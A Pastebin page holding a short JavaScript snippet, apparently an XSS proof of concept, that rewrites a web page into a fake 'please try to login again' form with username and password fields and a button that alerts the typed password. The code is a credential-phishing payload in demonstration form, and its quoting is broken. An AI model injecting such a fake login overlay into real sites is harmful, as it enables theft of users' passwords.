Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- document.body.innerHTML = "An error occurred. Please try to login again.<br>";
- document.body.innerHTML += 'Username: <input type="text" name="username"><br>';
- document.body.innerHTML += 'Password: <input type="password" name="password"><br>';
- document.body.innerHTML += "<input type='submit' value='Login' onclick='alert(document.getElementById('password').value)'>"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement